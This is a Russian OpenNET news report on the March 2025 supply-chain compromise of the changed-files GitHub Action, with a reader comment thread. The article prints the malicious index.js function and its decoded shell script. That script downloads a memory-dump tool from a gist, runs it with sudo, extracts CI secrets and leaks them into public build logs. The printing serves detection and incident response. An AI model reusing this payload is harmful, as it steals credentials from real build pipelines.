The OpenNET Project / Index page

[ новости /+++ | форум | теги | ]

Компрометация GitHub Actions-обработчика changed-files, применяемого в 23 тысячах репозиториях

15.03.2025 14:25

Выявлена подстановка вредоносного изменения в репозиторий проекта changed-files, развивающего обработчик к системе GitHub Actions, позволяющей автоматически запускать сценарии сборки и тестирования кодовых баз при срабатывании определённых событий, таких как поступление push-запроса, создание релизов, открытие/закрытие issue и открытие/закрытие pull-запросов. Обработчик changed-files использовался в 23 тысячах репозиториях, применяющих GitHub Actions в инфраструктуре непрерывной интеграции, для отслеживания изменения файлов и каталогов.

В репозиторий changed-files было подставлено изменение 0e58ed8, добавляющее в файл index.js вредоносный код под предлогом переработки работы с файлами блокировок. При выполнении обработчика changed-files вредоносная вставка собирала присутствующие в сборочном окружении ключи доступа и прочие конфиденциальные данные. В качестве канала для передачи информации за пределы сборочного окружения использовался вывод записей в сборочный лог, который не в приватных репозиториях доступен публично.

Всем разработчикам, пользовавшимся changed-files, требуется незамедлительно провести аудит своей инфраструктуры и проверить публичные логи систем интеграции на базе GitHub Actions на предмет утечки конфиденциальных данных. В случае использования скомпрометированной версии рекомендуется поменять ключи и провести анализ возможной компрометации своих систем. В настоящее время GitHub уже заблокировал репозиторий changed-files, но до этого около 14 часов вредоносные обновления были доступны для загрузки. Понять наличие вредоносного изменения можно по упоминанию "bash" в файле index.js:


   async function updateFeatures(token) {
   
       const {stdout, stderr} = await exec.getExecOutput('bash', ['-c', `echo "aWYgW1sgIiRPU1...ApmaQo=" | base64 -d > /tmp/run.sh && bash /tmp/run.sh`], {
           ignoreReturnCode: true,
           silent: true
       });
       core.info(stdout);
   }

В base64-последовательности содержался код:

   if [[ "$OSTYPE" == "linux-gnu" ]]; then
     B64_BLOB=`curl -sSf https://gist.githubusercontent.com/nikitastupin/30e525b776c409e03c2d6f328f254965/raw/memdump.py | sudo  python3 | tr -d '\0' | grep -aoE '"[^"]+":\{"value":"[^"]*","isSecret":true\}' | sort -u | base64 -w 0 | base64 -w 0`
     echo $B64_BLOB
   else
     exit 0
   fi

Коммит был размещён от имени бота "renovate[bot]", предназначенного для автоматизации операций по обновлению зависимостей, но скорее всего имя данного бота использовано для запутывания следов, так как коммит был помечен как неверифицированный и не принадлежащий ни к одной ветке в репозитории changed-files. Подобные коммиты могут свидетельствовать о добавлении не в основной репозиторий, а в его форк (при прямом обращении через основной репозиторий в GitHub коммиты из форков остаются видимыми).

Примечательно, что атакующий добился добавления вредоносного коммита почти во все git-тэги и релизы проекта changed-files, без отображения в git-логе коммитов в соответствующих ветках. В качестве предположений как он мог этого добиться упоминалось создание форка репозитория, размещения в нём вредоносного кода и обновления всех тегов в родительском репозитории с учётом нового SHA-хэша форка. По предположению другого разработчика атакующий добавил коммит в ветку main, перенаправил все теги на данную ветку, после чего откатил ветку main на предыдущий коммит.

   
  1. Главная ссылка к новости (https://news.ycombinator.com/i...)
  2. OpenNews: Ошибка в обработчике GitHub Actions привела к публикации вредоносных релизов Ultralytics
  3. OpenNews: GitHub обновил GPG-ключи из-за уязвимости, приводящей к утечке переменных окружения
  4. OpenNews: Уязвимость в GitHub Actions, допускающая подстановку команд
  5. OpenNews: В ходе атаки на GitHub захвачены ключи для подписи приложений GitHub Desktop и Atom
  6. OpenNews: Атака на GitHub Actions для майнинга криптовалюты на серверах GitHub
Лицензия: CC BY 3.0
Короткая ссылка: https://opennet.ru/62892-github
Ключевые слова: github, action
При перепечатке указание ссылки на opennet.ru обязательно


Обсуждение (36) Ajax | 1 уровень | Линейный | +/- | Раскрыть всё | RSS
  • 1.1, нейм (?), 15:44, 15/03/2025 [ответить] [﹢﹢﹢] [ · · · ]  []     [к модератору]
  • –5 +/
    > nikitastupin

    наш слон базовичок дискредитирует американский гитхаб?

     
     
  • 2.8, Аноним (8), 16:19, 15/03/2025 [^] [^^] [^^^] [ответить]      [к модератору]
  • –9 +/
    Прошу прощения, уточните пожалуйста,  а “ваш” это чей будет? Мексика, Канада, Дания… Еврозоюз? Какая-то из стран восточной Европы, граждани которой имею претензии к 🇺🇸 ?
     
     
  • 3.10, Анонем (?), 16:37, 15/03/2025 [^] [^^] [^^^] [ответить]      [к модератору]
  • +7 +/
    > Всем привет! Я Никита Ступин, специалист по информационной безопасности Почты Mail.Ru. Не так давно я провел исследование уязвимостей мобильного OAuth 2.0. Для создания безопасной схемы мобильного OAuth 2.0 мало реализовать стандарт в чистом виде и проверять redirect_uri. Необходимо учитывать специфику мобильных приложений и применять дополнительные механизмы защиты.

    Мексика, да

     
  • 3.19, Аноним (19), 19:08, 15/03/2025 [^] [^^] [^^^] [ответить]  []     [к модератору]
  • +2 +/
    Китаец Ni Kita Stu Pin.
     
     
  • 4.24, Похожий (?), 19:50, 15/03/2025 [^] [^^] [^^^] [ответить]      [к модератору]
  • +/
    На филиппинский похоже. Сравните, всемирно известный хит: Bakit Nga Ba Mahal Kita
     
  • 3.30, cheburnator9000 (ok), 02:26, 16/03/2025 [^] [^^] [^^^] [ответить]  []     [к модератору]
  • +/
    Их имеется в виду часть граждан РФ сочувствующих кремлю.
     
  • 3.44, Аноним (44), 17:04, 16/03/2025 [^] [^^] [^^^] [ответить]      [к модератору]
  • +/
    >граждани

    Гражданин, а вы сейчас в какой стране обитаете? Службу проходили?

     

  • 1.2, нах. (?), 15:56, 15/03/2025 [ответить] [﹢﹢﹢] [ · · · ]  [] []     [к модератору]
  • +2 +/
    Молодец, Никитос, надеюсь, товарищмаёр довольны и уже представили себя к госнаградам.

    P.S. отдельно доставляет что "знающие гит" девляпсы без понятия как ты этого добился - так что можем повторить!

     
     
  • 2.4, Аноним (8), 16:12, 15/03/2025 [^] [^^] [^^^] [ответить]      [к модератору]
  • +/
    А в гитхаб профиле у него звание, адрес места “службы” , герб и прапор страны?

    > Штирлиц брёл по улицам тихого немецкого городка. "Ничто не выдавало в нём советского разведчика — разве что волочившийся сзади парашют да ушанка с красной звездой могли привлечь к нему внимание случайного прохожего"

     
  • 2.15, bonifatium (?), 17:17, 15/03/2025 [^] [^^] [^^^] [ответить]      [к модератору]
  • +/
    Никитос - просто автор дампилки памяти, которой воспользовался злоумышленник
     
  • 2.16, Аноним (16), 17:26, 15/03/2025 [^] [^^] [^^^] [ответить]      [к модератору]
  • +/
    А Никитоса к Статье 272
     
     
  • 3.23, Аноним (23), 19:44, 15/03/2025 [^] [^^] [^^^] [ответить]      [к модератору]
  • –2 +/
    Никтос-то тут причём? Я о нём слышал как минимум с 2018 года, легитимный ресёрчер. Вернее не совсем: на Huawei он работал. Ну раз ему так КНР мила - вот пусть туда на ПМЖ и едет. И о соц. "кредитном рейтинге" пусть обеспокоиться не забудет.
     
     
  • 4.27, Аноним (27), 20:52, 15/03/2025 [^] [^^] [^^^] [ответить]      [к модератору]
  • –2 +/
    Вы видели Китайский Дэвушка? Прекрасен что фарфоровая кукла!
    i.postimg.cc/rqfNMc6h/1sppnfy.jpg
    i.postimg.cc/wqLNyYPY/1uy22sc.jpg
     

  • 1.3, Tron is Whistling (?), 15:58, 15/03/2025 [ответить] [﹢﹢﹢] [ · · · ]  []     [к модератору]
  • +2 +/
    Лол, опять пострадали только те, кто тянул в рот всё самое неизвестное.
     
  • 1.5, freehck (ok), 16:13, 15/03/2025 [ответить] [﹢﹢﹢] [ · · · ]  []     [к модератору]
  • +5 +/
    > Подобные коммиты могут свидетельствовать о добавлении не в основной репозиторий, а в его форк (при прямом обращении через основной репозиторий в GitHub коммиты из форков остаются видимыми).

    O_O

    Ничего себе! То есть человек может сделать форк моего проекта, закоммитить туда объект, а затем скачивать его "типа из моего проекта"?

    > Примечательно, что атакующий добился добавления вредоносного коммита почти во все git-тэги и релизы проекта changed-files, без отображения в git-логе коммитов в соответствующих ветках.

    Снимаю шляпу. Талантливый парень.

     
     
  • 2.25, Мимоним (?), 19:53, 15/03/2025 [^] [^^] [^^^] [ответить]      [к модератору]
  • +/
    > GitHub в целях оптимизации и исключения дубликатов хранит вместе все объекты из основного репозитория и форков, лишь логически разделяя принадлежность коммитов.

    отсюда https://www.opennet.dev/opennews/art.shtml?num=61605

     
     
  • 3.31, Аноним (31), 02:39, 16/03/2025 [^] [^^] [^^^] [ответить]      [к модератору]
  • +/
    Сама концепция гита - ущербна.
    Пытался я как то небольшой репорт отправить, мне сказали,
    - сделайте форк нашего проекта к себе(!),
    - сделайте исправление кода у себя в форке,
    - пришлите нам ваши изменения в вашем форке и мы подумаем принимать ли.
    А я хотел им тупо на ошибку указать в одном месте.

    Ну то весь гитхаб это есть форк форка и форком погоняет. и мне без разницы сколько раз они хранят код, тысячу или один (прописывая реляции между проектами).

     
     
  • 4.33, Аноним (-), 11:53, 16/03/2025 [^] [^^] [^^^] [ответить]      [к модератору]
  • +2 +/
    > А я хотел им тупо на ошибку указать в одном месте.

    Git вообще изначально - инструмент для разработчиков. Всякие багтрекеры и проч - весьма опциональный довесок, который как таковой не часть гита.

    Более того - разработчикам довольно часто не интересна информация о ошибках в чем либо кроме самой последней версии в максимально свежем состоянии. Потому что возможно они уже починили это полгода назад. Поскольку это ваша проблема - вам и разбираться как и что. Если оно вам надо. Не надо - окей, но это ВАША проблема. Свои - разработчики как правило починят сами.

    А секрет прост: время разработчиков не резиновое. Вы либо подыгрываете по максимуму, экономя их время, и к вам одно отношение. Или нет - тогда отношение может быть и другое. Весьма зависит от команды и доступных им ресурсов.

    Git сам по себе - к багрепортам вообще ортогонален, внезапно.

     
     
  • 5.38, нах. (?), 13:55, 16/03/2025 [^] [^^] [^^^] [ответить]      [к модератору]
  • +/
    > А секрет прост: время разработчиков не резиновое.

    а мое - резиновое? Напоминаю - там человек ошибку нашел. Не свою.

    > Вы либо подыгрываете по максимуму, экономя их время

    им и так сэкономили дофига времени, ткнув носом в ошибку.

    > Весьма зависит от команды и доступных им ресурсов.

    в целом, если кому-то недостаточно issue и требуют чего-то еще - надо от этой команды и ее продукта просто держаться подальше.
    Ты им и так бесплатным преальфатестером (судя по качеству кода, позволяющему кому-то в первый раз с ним встретившимся ткнуть в ошибку) поработал. Делать за них остальную их работу - какая-то совершенно неэффективная бизнес-стратегия.

    > окей, но это ВАША проблема

    нет, это проблема в их софте. Я ее решу выбрасыванием недоделка в помойку, а не вылизыванием всяких мест разработчику-криворучке.

    А если уж создам форк - то это будет - форк. И тут уже разработчики-криворучки пусть приходят и клянчат. Ну или разбираются в собственном лапшекоде заново и ищут что я там понаисправлял (причем чтоб им не мешать - мы так не договаривались)


     
     
  • 6.40, Аноним (40), 14:08, 16/03/2025 [^] [^^] [^^^] [ответить]      [к модератору]
  • +/
    > нет, это проблема в их софте.

    ну так не пользуйся их софтом, напиши свой... ой, что с лицом?

     
  • 6.41, Аноним (41), 15:57, 16/03/2025 [^] [^^] [^^^] [ответить]      [к модератору]
  • +/
    Это твои проблемы Баг же - у тебя Как ты понимаешь, явные баги долбавшие во... большой текст свёрнут, показать
     

  • 1.7, Аноним (7), 16:15, 15/03/2025 [ответить] [﹢﹢﹢] [ · · · ]  [] []     [к модератору]
  • +6 +/
    > Подобные коммиты могут свидетельствовать о добавлении не в основной репозиторий

    То-есть мерзкософт с своими типа-ништяками - довел инфраструктуру до состояния когда даже не знает откуда им прилетело? И эти люди лезут учить других на тему supply chain с своими 2FA?

     
     
  • 2.34, Аноним (31), 13:44, 16/03/2025 Скрыто ботом-модератором     [к модератору]
  • –2 +/
     
     
  • 3.42, Аноним (42), 16:04, 16/03/2025 Скрыто ботом-модератором     [к модератору]
  • +/
     
  • 2.39, нах. (?), 13:57, 16/03/2025 [^] [^^] [^^^] [ответить]  []     [к модератору]
  • –1 +/
    да-да, это ж они написали р-опую vcs в которой подмена истории не катастрофа с записью во все логи, а рутинная операция. Ой, нет. Ее б-жок с пальцем наляпал задней левой ногой.

    Ему не жмет, у него на локалхосте никто форсед пуш кроме него не сделает.

    А что вы жрете с лопаты любой навоз лишь бы забесплатно - тоже корпорация зла виновата.

     
     
  • 3.43, Аноним (42), 16:07, 16/03/2025 [^] [^^] [^^^] [ответить]      [к модератору]
  • +/
    > да-да, это ж они написали р-опую vcs в которой подмена истории не
    > катастрофа с записью во все логи, а рутинная операция. Ой, нет.
    > Ее б-жок с пальцем наляпал задней левой ногой.

    В этой DVCS самой по себе всего вон того - вообще нет. Факапище чисто в майкрософтовском обесе :D. Тут совсем не отмажешься.

    > Ему не жмет, у него на локалхосте никто форсед пуш кроме него не сделает.

    Зато у майкрософт индусы которые сперва накодят ништяков - потом с удивлением узнают что оказывается эвон как можно было. Где были пм и архитекты кхе-кхе "решения" мы вообще тактично помолчим. Видимо - еще чистили индийский сортир, а i++ итерация собеса только через недельку.

    > А что вы жрете с лопаты любой навоз лишь бы забесплатно -
    > тоже корпорация зла виновата.

    Вот не надо грязи в женской бане, я уже забыл кренделя на гитхап. Так что не жру.

     

  • 1.9, Аноним (8), 16:26, 15/03/2025 [ответить] [﹢﹢﹢] [ · · · ]  []     [к модератору]
  • +/
    > Ничего себе! То есть человек может сделать форк моего проекта, закоммитить туда объект, а затем скачивать его "типа из моего проекта"?

    да, это называется Open Sources, т.е. программное обеспечение с открытым исходным кодом, а гитхаб продемонстрировал беспрецедентную открытость!

     
  • 1.12, 12yoexpert (ok), 16:50, 15/03/2025 [ответить] [﹢﹢﹢] [ · · · ]  []     [к модератору]
  • +/
    какому идиоту в принципе пришло в голову использовать js на сервере? электричество бесплатное?
     
     
  • 2.17, Аноним (16), 17:33, 15/03/2025 [^] [^^] [^^^] [ответить]      [к модератору]
  • +/
    Когда создавался GitHub (тот ещё первозданный, настоящий) ещё не модно было.
     
  • 2.35, Аноним (31), 13:47, 16/03/2025 [^] [^^] [^^^] [ответить]      [к модератору]
  • +/
    Хочешь подскажу одну завирусованную помойку с js на стороне сервера? (SJedoN)
     

  • 1.21, Аноним (23), 19:21, 15/03/2025 [ответить] [﹢﹢﹢] [ · · · ]  [] []     [к модератору]
  • –1 +/
    Пофиг, third party (не от самого гитхаба и не от себя, любимого) Github Actions обычно по тегам гвоздями прибивают (это если не делать  свой форк). Как раз от такого.
     
     
  • 2.26, Аноним (26), 20:17, 15/03/2025 [^] [^^] [^^^] [ответить]      [к модератору]
  • +/
    Тэги перебиваются на раз-два, git push —tags —force
     
     
  • 3.36, Аноним (31), 13:47, 16/03/2025 [^] [^^] [^^^] [ответить]      [к модератору]
  • +/
    Нет тегов - нет уязвимости!
    (мем с умным негром.)
     

  • 1.22, Аноним (23), 19:41, 15/03/2025 [ответить] [﹢﹢﹢] [ · · · ]  [] []     [к модератору]
  • +/
    >\{"value":"[^"]*","isSecret":true\}'

    Молодцы, GitHub, все секреты промаркировали в JSON, чтобы их удобнее извлекать было.

     
     
  • 2.37, Аноним (31), 13:49, 16/03/2025 [^] [^^] [^^^] [ответить]      [к модератору]
  • +/
    Как уже сказали чуть выше  - там погромист особо "одаренный".
     

  • 1.45, Аноним (45), 20:02, 16/03/2025 [ответить] [﹢﹢﹢] [ · · · ]  []     [к модератору]
  • +/
    Извините, но я не понял вот эту часть

    > и обновления всех тегов в родительском репозитории с учётом нового SHA-хэша форка.

    Понятно, что он сделал форк и залил туда вирьё. Но как он обновил тэги в основном репе? У тебя же должен быть доступ, чтоб запушить или сменить тэги.

     

     Добавить комментарий
    Имя:
    E-Mail:
    Текст:



    Партнёры:
    PostgresPro
    Inferno Solutions
    Hosting by Hoster.ru
    Хостинг:

    Закладки на сайте
    Проследить за страницей
    Created 1996-2025 by Maxim Chirkov
    Добавить, Поддержать, Вебмастеру